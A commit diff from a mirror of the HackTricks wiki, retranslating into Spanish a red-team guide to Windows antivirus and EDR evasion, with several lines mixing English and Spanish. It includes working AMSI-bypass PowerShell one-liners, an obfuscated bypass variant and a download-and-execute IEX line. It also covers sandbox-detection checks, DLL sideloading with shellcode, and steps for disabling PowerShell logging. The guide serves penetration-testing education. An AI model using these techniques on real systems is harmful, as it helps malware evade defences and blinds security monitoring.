mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/av-bypass.md'] to es
This commit is contained in:
Translator
parent
30d8d6b540
commit
80e3063db5
@ -2,79 +2,79 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**¡Esta página fue escrita por** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
**Esta página fue escrita por** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## Detener Defender
|
||||
## Stop Defender
|
||||
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Una herramienta para detener el funcionamiento de Windows Defender.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Una herramienta para detener el funcionamiento de Windows Defender simulando otro AV.
|
||||
- [Desactivar Defender si eres administrador](basic-powershell-for-pentesters/README.md)
|
||||
- [defendnot](https://github.com/es3n1n/defendnot): Una herramienta para detener Windows Defender.
|
||||
- [no-defender](https://github.com/es3n1n/no-defender): Una herramienta para detener Windows Defender simulando otro AV.
|
||||
- [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)
|
||||
|
||||
## **Metodología de Evasión de AV**
|
||||
## **AV Evasion Methodology**
|
||||
|
||||
Actualmente, los AV utilizan diferentes métodos para verificar si un archivo es malicioso o no, detección estática, análisis dinámico y, para los EDR más avanzados, análisis de comportamiento.
|
||||
Actualmente, los AVs usan diferentes métodos para comprobar si un fichero es malicioso o no: static detection, dynamic analysis, y para los EDRs más avanzados, behavioural analysis.
|
||||
|
||||
### **Detección estática**
|
||||
### **Static detection**
|
||||
|
||||
La detección estática se logra al marcar cadenas maliciosas conocidas o arreglos de bytes en un binario o script, y también extrayendo información del propio archivo (por ejemplo, descripción del archivo, nombre de la empresa, firmas digitales, icono, suma de verificación, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te atrapen más fácilmente, ya que probablemente han sido analizadas y marcadas como maliciosas. Hay un par de formas de eludir este tipo de detección:
|
||||
Static detection se consigue marcando cadenas conocidas maliciosas o arrays de bytes en un binario o script, y también extrayendo información del propio fichero (p. ej. file description, company name, digital signatures, icon, checksum, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te detecten más fácilmente, ya que probablemente ya han sido analizadas y marcadas como maliciosas. Hay un par de maneras de esquivar este tipo de detección:
|
||||
|
||||
- **Cifrado**
|
||||
- **Encryption**
|
||||
|
||||
Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de cargador para descifrar y ejecutar el programa en memoria.
|
||||
Si encriptas el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de loader para desencriptar y ejecutar el programa en memoria.
|
||||
|
||||
- **Ofuscación**
|
||||
- **Obfuscation**
|
||||
|
||||
A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o script para que pase el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que estés tratando de ofuscar.
|
||||
A veces lo único que necesitas es cambiar algunas cadenas en tu binario o script para pasarlo por alto, pero esto puede ser una tarea que consuma mucho tiempo dependiendo de lo que intentes ofuscar.
|
||||
|
||||
- **Herramientas personalizadas**
|
||||
- **Custom tooling**
|
||||
|
||||
Si desarrollas tus propias herramientas, no habrá firmas malas conocidas, pero esto requiere mucho tiempo y esfuerzo.
|
||||
|
||||
> [!TIP]
|
||||
> Una buena manera de verificar contra la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente, divide el archivo en múltiples segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
|
||||
> A good way for checking against Windows Defender static detection is [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.
|
||||
|
||||
Te recomiendo encarecidamente que revises esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre evasión práctica de AV.
|
||||
Te recomiendo revisar esta [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion práctico.
|
||||
|
||||
### **Análisis dinámico**
|
||||
### **Dynamic analysis**
|
||||
|
||||
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa actividades maliciosas (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí hay algunas cosas que puedes hacer para evadir sandboxes.
|
||||
Dynamic analysis es cuando el AV ejecuta tu binario en un sandbox y vigila actividad maliciosa (p. ej. intentar desencriptar y leer las contraseñas del navegador, realizar un minidump de LSASS, etc.). Esta parte puede ser un poco más complicada de manejar, pero aquí tienes algunas cosas que puedes hacer para evadir sandboxes.
|
||||
|
||||
- **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una gran manera de eludir el análisis dinámico del AV. Los AV tienen un tiempo muy corto para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos períodos de espera puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente omitir el sueño dependiendo de cómo se implemente.
|
||||
- **Verificar los recursos de la máquina** Generalmente, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, < 2GB de RAM), de lo contrario, podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, verificando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox.
|
||||
- **Comprobaciones específicas de la máquina** Si deseas dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una verificación en el dominio de la computadora para ver si coincide con el que has especificado, si no coincide, puedes hacer que tu programa salga.
|
||||
- **Sleep before execution** Dependiendo de cómo esté implementado, puede ser una gran forma de evadir el dynamic analysis del AV. Los AVs tienen muy poco tiempo para escanear ficheros para no interrumpir el flujo de trabajo del usuario, así que usar sleeps largos puede perturbar el análisis de binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse el sleep dependiendo de cómo esté implementado.
|
||||
- **Checking machine's resources** Normalmente los Sandboxes tienen muy pocos recursos para trabajar (p. ej. < 2GB RAM), de lo contrario podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo comprobando la temperatura de la CPU o incluso las velocidades del ventilador; no todo estará implementado en el sandbox.
|
||||
- **Machine-specific checks** Si quieres dirigirte a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del equipo para ver si coincide con el que has especificado; si no coincide, puedes hacer que tu programa termine.
|
||||
|
||||
Resulta que el nombre de la computadora del Sandbox de Microsoft Defender es HAL9TH, así que puedes verificar el nombre de la computadora en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
|
||||
Resulta que el nombre del equipo del Sandbox de Microsoft Defender es HAL9TH, así que puedes comprobar el nombre del equipo en tu malware antes de la detonación; si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>fuente: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
Algunos otros consejos realmente buenos de [@mgeeky](https://twitter.com/mariuszbit) para ir contra los Sandboxes
|
||||
Algunos otros consejos muy buenos de [@mgeeky](https://twitter.com/mariuszbit) para enfrentarse a Sandboxes
|
||||
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>
|
||||
<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
|
||||
|
||||
Como hemos dicho antes en esta publicación, **las herramientas públicas** eventualmente **serán detectadas**, así que deberías preguntarte algo:
|
||||
Como hemos dicho antes en este post, **public tools** eventualmente **get detected**, así que deberías hacerte una pregunta:
|
||||
|
||||
Por ejemplo, si deseas volcar LSASS, **¿realmente necesitas usar mimikatz**? O podrías usar un proyecto diferente que sea menos conocido y que también voltee LSASS.
|
||||
Por ejemplo, si quieres volcar LSASS, ¿**do you really need to use mimikatz**? ¿O podrías usar un proyecto diferente que sea menos conocido y que también vuelque LSASS?
|
||||
|
||||
La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea una de, si no la más, marcada pieza de malware por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para eludir los AV, así que solo busca alternativas para lo que estás tratando de lograr.
|
||||
La respuesta correcta probablemente sea la segunda. Tomando mimikatz como ejemplo, probablemente sea uno de los, si no el más, detectados por AVs y EDRs; aunque el proyecto en sí es muy bueno, también es una pesadilla para trabajar con él si quieres eludir AVs, así que simplemente busca alternativas para lo que intentas lograr.
|
||||
|
||||
> [!TIP]
|
||||
> Al modificar tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si deseas verificar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
|
||||
> Cuando modifiques tus payloads para evadir detección, asegúrate de **turn off automatic sample submission** en defender, y por favor, en serio, **DO NOT UPLOAD TO VIRUSTOTAL** si tu objetivo es lograr evasión a largo plazo. Si quieres comprobar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo ahí hasta que estés satisfecho con el resultado.
|
||||
|
||||
## EXEs vs DLLs
|
||||
|
||||
Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia, los archivos DLL son generalmente **mucho menos detectados** y analizados, por lo que es un truco muy simple de usar para evitar la detección en algunos casos (si tu carga útil tiene alguna forma de ejecutarse como una DLL, por supuesto).
|
||||
Siempre que sea posible, prioriza usar DLLs para evadir detección; en mi experiencia, los ficheros DLL suelen estar **mucho menos detectados** y analizados, así que es un truco muy simple para evitar la detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como DLL, claro).
|
||||
|
||||
Como podemos ver en esta imagen, una carga útil DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que la carga útil EXE tiene una tasa de detección de 7/26.
|
||||
Como podemos ver en esta imagen, un DLL Payload de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el payload EXE tiene una tasa de detección de 7/26.
|
||||
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparación de antiscan.me de una carga útil normal de Havoc EXE vs una normal de Havoc DLL</p></figcaption></figure>
|
||||
<figure><img src="../images/image (1130).png" alt=""><figcaption><p>antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL</p></figcaption></figure>
|
||||
|
||||
Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho más sigiloso.
|
||||
Ahora mostraremos algunos trucos que puedes usar con ficheros DLL para ser mucho más sigiloso.
|
||||
|
||||
## Carga lateral de DLL y Proxying
|
||||
## DLL Sideloading & Proxying
|
||||
|
||||
**La carga lateral de DLL** aprovecha el orden de búsqueda de DLL utilizado por el cargador al posicionar tanto la aplicación víctima como la(s) carga útil(es) maliciosa(s) una al lado de la otra.
|
||||
**DLL Sideloading** aprovecha el DLL search order que usa el loader posicionando tanto la aplicación víctima como el/los payload(s) maliciosos uno junto al otro.
|
||||
|
||||
Puedes verificar programas susceptibles a la carga lateral de DLL usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de powershell:
|
||||
Puedes checkear programas susceptibles a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) y el siguiente powershell script:
|
||||
```bash
|
||||
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
|
||||
$binarytoCheck = "C:\Program Files\" + $_
|
||||
@ -83,13 +83,13 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
|
||||
```
|
||||
Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\\" y los archivos DLL que intentan cargar.
|
||||
|
||||
Recomiendo encarecidamente que **explores los programas DLL Hijackable/Sideloadable tú mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable de conocimiento público, podrías ser atrapado fácilmente.
|
||||
Te recomiendo encarecidamente que **explores los programas DLL Hijackable/Sideloadable por ti mismo**, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable conocidos públicamente, puedes ser detectado fácilmente.
|
||||
|
||||
Simplemente colocar una DLL maliciosa con el nombre que un programa espera cargar, no cargará tu payload, ya que el programa espera algunas funciones específicas dentro de esa DLL. Para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
|
||||
El simple hecho de colocar un DLL malicioso con el nombre que un programa espera cargar no hará que se ejecute tu payload, ya que el programa espera funciones específicas dentro de ese DLL; para corregir este problema, usaremos otra técnica llamada **DLL Proxying/Forwarding**.
|
||||
|
||||
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de tu payload.
|
||||
**DLL Proxying** reenvía las llamadas que un programa hace desde el DLL proxy (y malicioso) al DLL original, preservando así la funcionalidad del programa y permitiendo manejar la ejecución de tu payload.
|
||||
|
||||
Estaré utilizando el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
|
||||
Voy a usar el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
|
||||
|
||||
Estos son los pasos que seguí:
|
||||
```
|
||||
@ -98,26 +98,28 @@ Estos son los pasos que seguí:
|
||||
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
|
||||
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
|
||||
```
|
||||
El último comando nos dará 2 archivos: una plantilla de código fuente DLL y la DLL original renombrada.
|
||||
El último comando nos dará 2 archivos: una source code template de la DLL y la DLL original renombrada.
|
||||
|
||||
<figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
|
||||
```
|
||||
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
|
||||
```
|
||||
Estos son los resultados:
|
||||
|
||||
<figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
¡Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como la DLL proxy tienen una tasa de detección de 0/26 en [antiscan.me](https://antiscan.me)! Yo lo llamaría un éxito.
|
||||
Tanto nuestro shellcode (codificado con [SGN](https://github.com/EgeBalci/sgn)) como el proxy DLL tienen una tasa de detección 0/26 en [antiscan.me](https://antiscan.me)! Lo llamaría un éxito.
|
||||
|
||||
<figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> **Recomiendo encarecidamente** que veas el [VOD de twitch de S3cur3Th1sSh1t](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también el [video de ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido en mayor profundidad.
|
||||
> Te **recomiendo encarecidamente** que veas [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading y también [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender más sobre lo que hemos discutido con mayor profundidad.
|
||||
|
||||
## [**Freeze**](https://github.com/optiv/Freeze)
|
||||
|
||||
`Freeze es un kit de herramientas de payload para eludir EDRs utilizando procesos suspendidos, syscalls directos y métodos de ejecución alternativos`
|
||||
`Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods`
|
||||
|
||||
Puedes usar Freeze para cargar y ejecutar tu shellcode de manera sigilosa.
|
||||
Puedes usar Freeze para cargar y ejecutar tu shellcode de forma sigilosa.
|
||||
```
|
||||
Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
|
||||
1. Generate some shellcode, in this case I used Havoc C2.
|
||||
@ -127,53 +129,53 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
|
||||
<figure><img src="../images/freeze_demo_hacktricks.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> La evasión es solo un juego de gato y ratón, lo que funciona hoy podría ser detectado mañana, así que nunca confíes solo en una herramienta, si es posible, intenta encadenar múltiples técnicas de evasión.
|
||||
> La evasión es solo un juego de gato y ratón; lo que funciona hoy podría detectarse mañana, así que nunca confíes en una sola herramienta; si es posible, intenta encadenar múltiples técnicas de evasión.
|
||||
|
||||
## AMSI (Interfaz de Escaneo Anti-Malware)
|
||||
## AMSI (Anti-Malware Scan Interface)
|
||||
|
||||
AMSI fue creado para prevenir "[malware sin archivos](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AV solo podían escanear **archivos en disco**, así que si podías ejecutar cargas útiles **directamente en memoria**, el AV no podía hacer nada para prevenirlo, ya que no tenía suficiente visibilidad.
|
||||
AMSI fue creado para prevenir "[fileless malware](https://en.wikipedia.org/wiki/Fileless_malware)". Inicialmente, los AVs solo eran capaces de escanear **files on disk**, por lo que si de algún modo podías ejecutar payloads **directly in-memory**, el AV no podía hacer nada para evitarlo, ya que no tenía suficiente visibilidad.
|
||||
|
||||
La función AMSI está integrada en estos componentes de Windows.
|
||||
La característica AMSI está integrada en estos componentes de Windows.
|
||||
|
||||
- Control de Cuentas de Usuario, o UAC (elevación de EXE, COM, MSI o instalación de ActiveX)
|
||||
- PowerShell (scripts, uso interactivo y evaluación de código dinámico)
|
||||
- User Account Control, or UAC (elevación de EXE, COM, MSI, o instalación de ActiveX)
|
||||
- PowerShell (scripts, uso interactivo y evaluación dinámica de código)
|
||||
- Windows Script Host (wscript.exe y cscript.exe)
|
||||
- JavaScript y VBScript
|
||||
- Macros de Office VBA
|
||||
- Office VBA macros
|
||||
|
||||
Permite a las soluciones antivirus inspeccionar el comportamiento de los scripts al exponer el contenido del script en una forma que es tanto sin cifrar como sin ofuscar.
|
||||
Permite que las soluciones antivirus inspeccionen el comportamiento de los scripts exponiendo el contenido del script en una forma que está tanto sin encriptar como sin ofuscar.
|
||||
|
||||
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` producirá la siguiente alerta en Windows Defender.
|
||||
Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` generará la siguiente alerta en Windows Defender.
|
||||
|
||||
<figure><img src="../images/image (1135).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Nota cómo antepone `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
|
||||
Fíjate cómo antepone `amsi:` y luego la ruta al ejecutable desde el que se ejecutó el script, en este caso, powershell.exe
|
||||
|
||||
No dejamos ningún archivo en disco, pero aún así nos atraparon en memoria debido a AMSI.
|
||||
No dejamos ningún archivo en disco, pero aun así fuimos detectados in-memory debido a AMSI.
|
||||
|
||||
Además, a partir de **.NET 4.8**, el código C# también se ejecuta a través de AMSI. Esto incluso afecta a `Assembly.Load(byte[])` para la ejecución en memoria. Por eso se recomienda usar versiones anteriores de .NET (como 4.7.2 o inferiores) para la ejecución en memoria si deseas evadir AMSI.
|
||||
Además, a partir de **.NET 4.8**, el código C# también se ejecuta a través de AMSI. Esto incluso afecta a `Assembly.Load(byte[])` para cargar ejecución in-memory. Por eso se recomienda usar versiones más bajas de .NET (como 4.7.2 o inferiores) para ejecución in-memory si quieres evadir AMSI.
|
||||
|
||||
Hay un par de formas de eludir AMSI:
|
||||
Hay un par de maneras de sortear AMSI:
|
||||
|
||||
- **Ofuscación**
|
||||
- **Obfuscation**
|
||||
|
||||
Dado que AMSI funciona principalmente con detecciones estáticas, por lo tanto, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección.
|
||||
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena forma de evadir la detección.
|
||||
|
||||
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tiene múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadir. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto se haya marcado algo.
|
||||
Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que la ofuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadirlo. Aunque, a veces, todo lo que necesitas es cambiar un par de nombres de variables y estarás bien, así que depende de cuánto haya sido marcado algo.
|
||||
|
||||
- **Evasión de AMSI**
|
||||
- **AMSI Bypass**
|
||||
|
||||
Dado que AMSI se implementa cargando un DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularlo fácilmente incluso ejecutándose como un usuario sin privilegios. Debido a este defecto en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
|
||||
Dado que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularla fácilmente incluso ejecutando como un usuario sin privilegios. Debido a este fallo en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.
|
||||
|
||||
**Forzar un Error**
|
||||
**Forcing an Error**
|
||||
|
||||
Forzar que la inicialización de AMSI falle (amsiInitFailed) resultará en que no se inicie ningún escaneo para el proceso actual. Originalmente, esto fue divulgado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para prevenir un uso más amplio.
|
||||
Forzar la inicialización de AMSI para que falle (amsiInitFailed) dará como resultado que no se inicie ningún escaneo para el proceso actual. Originalmente esto fue divulgado por [Matt Graeber](https://twitter.com/mattifestation) y Microsoft ha desarrollado una firma para prevenir un uso más amplio.
|
||||
```bash
|
||||
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
|
||||
```
|
||||
Todo lo que se necesitó fue una línea de código de powershell para hacer que AMSI fuera inutilizable para el proceso de powershell actual. Esta línea, por supuesto, ha sido marcada por AMSI mismo, por lo que se necesita alguna modificación para usar esta técnica.
|
||||
Solo hizo falta una línea de código de powershell para dejar AMSI inutilizable para el proceso actual de powershell. Esa línea, por supuesto, fue detectada por AMSI, así que se necesita alguna modificación para poder usar esta técnica.
|
||||
|
||||
Aquí hay un bypass de AMSI modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
Aquí hay un AMSI bypass modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
|
||||
```bash
|
||||
Try{#Ams1 bypass technic nº 2
|
||||
$Xdatabase = 'Utils';$Homedrive = 'si'
|
||||
@ -187,77 +189,78 @@ $Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
|
||||
$Spotfix.SetValue($null,$true)
|
||||
}Catch{Throw $_}
|
||||
```
|
||||
Ten en cuenta que esto probablemente será marcado una vez que se publique esta entrada, así que no deberías publicar ningún código si tu plan es permanecer indetectado.
|
||||
Ten en cuenta que esto probablemente será detectado una vez que esta publicación salga a la luz, así que no deberías publicar ningún código si tu plan es permanecer indetectado.
|
||||
|
||||
**Memory Patching**
|
||||
|
||||
Esta técnica fue descubierta inicialmente por [@RastaMouse](https://twitter.com/_RastaMouse/) y consiste en encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones para devolver el código para E_INVALIDARG, de esta manera, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio.
|
||||
This technique was initially discovered by [@RastaMouse](https://twitter.com/_RastaMouse/) and it involves finding address for the "AmsiScanBuffer" function in amsi.dll (responsible for scanning the user-supplied input) and overwriting it with instructions to return the code for E_INVALIDARG, this way, the result of the actual scan will return 0, which is interpreted as a clean result.
|
||||
|
||||
> [!TIP]
|
||||
> Por favor, lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada.
|
||||
> Por favor lee [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) para una explicación más detallada.
|
||||
|
||||
También hay muchas otras técnicas utilizadas para eludir AMSI con PowerShell, consulta [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [**este repositorio**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
|
||||
También existen muchas otras técnicas usadas para evadir AMSI con PowerShell; consulta [**esta página**](basic-powershell-for-pentesters/index.html#amsi-bypass) y [**this repo**](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) para aprender más sobre ellas.
|
||||
|
||||
Esta herramienta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) también genera scripts para eludir AMSI.
|
||||
Esta herramienta [**https://github.com/Flangvik/AMSI.fail**](https://github.com/Flangvik/AMSI.fail) también genera scripts para evadir AMSI.
|
||||
|
||||
**Remove the detected signature**
|
||||
**Eliminar la firma detectada**
|
||||
|
||||
Puedes usar una herramienta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** y **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para eliminar la firma de AMSI detectada de la memoria del proceso actual. Esta herramienta funciona escaneando la memoria del proceso actual en busca de la firma de AMSI y luego sobrescribiéndola con instrucciones NOP, eliminándola efectivamente de la memoria.
|
||||
Puedes usar una herramienta como **[https://github.com/cobbr/PSAmsi](https://github.com/cobbr/PSAmsi)** y **[https://github.com/RythmStick/AMSITrigger](https://github.com/RythmStick/AMSITrigger)** para eliminar la firma AMSI detectada de la memoria del proceso actual. Esta herramienta funciona escaneando la memoria del proceso actual en busca de la firma AMSI y luego sobrescribiéndola con instrucciones NOP, eliminándola efectivamente de la memoria.
|
||||
|
||||
**AV/EDR products that uses AMSI**
|
||||
**Productos AV/EDR que usan AMSI**
|
||||
|
||||
Puedes encontrar una lista de productos AV/EDR que utilizan AMSI en **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
Puedes encontrar una lista de productos AV/EDR que usan AMSI en **[https://github.com/subat0mik/whoamsi](https://github.com/subat0mik/whoamsi)**.
|
||||
|
||||
**Use Powershell version 2**
|
||||
Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneado por AMSI. Puedes hacer esto:
|
||||
**Usar PowerShell versión 2**
|
||||
Si usas PowerShell versión 2, AMSI no se cargará, por lo que podrás ejecutar tus scripts sin ser escaneados por AMSI. Puedes hacer esto:
|
||||
```bash
|
||||
powershell.exe -version 2
|
||||
```
|
||||
## PS Logging
|
||||
|
||||
El registro de PowerShell es una función que te permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para fines de auditoría y solución de problemas, pero también puede ser un **problema para los atacantes que quieren evadir la detección**.
|
||||
PowerShell logging es una característica que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para auditoría y resolución de problemas, pero también puede ser un **problema para los atacantes que quieren evadir la detección**.
|
||||
|
||||
Para eludir el registro de PowerShell, puedes usar las siguientes técnicas:
|
||||
Para evadir PowerShell logging, puedes usar las siguientes técnicas:
|
||||
|
||||
- **Disable PowerShell Transcription and Module Logging**: Puedes usar una herramienta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para este propósito.
|
||||
- **Use Powershell version 2**: Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneados por AMSI. Puedes hacer esto: `powershell.exe -version 2`
|
||||
- **Use an Unmanaged Powershell Session**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para generar un powershell sin defensas (esto es lo que usa `powerpick` de Cobal Strike).
|
||||
|
||||
- **Deshabilitar la transcripción de PowerShell y el registro de módulos**: Puedes usar una herramienta como [https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs](https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs) para este propósito.
|
||||
- **Usar PowerShell versión 2**: Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneado por AMSI. Puedes hacer esto: `powershell.exe -version 2`
|
||||
- **Usar una sesión de PowerShell no administrada**: Usa [https://github.com/leechristensen/UnmanagedPowerShell](https://github.com/leechristensen/UnmanagedPowerShell) para iniciar un PowerShell sin defensas (esto es lo que usa `powerpick` de Cobalt Strike).
|
||||
|
||||
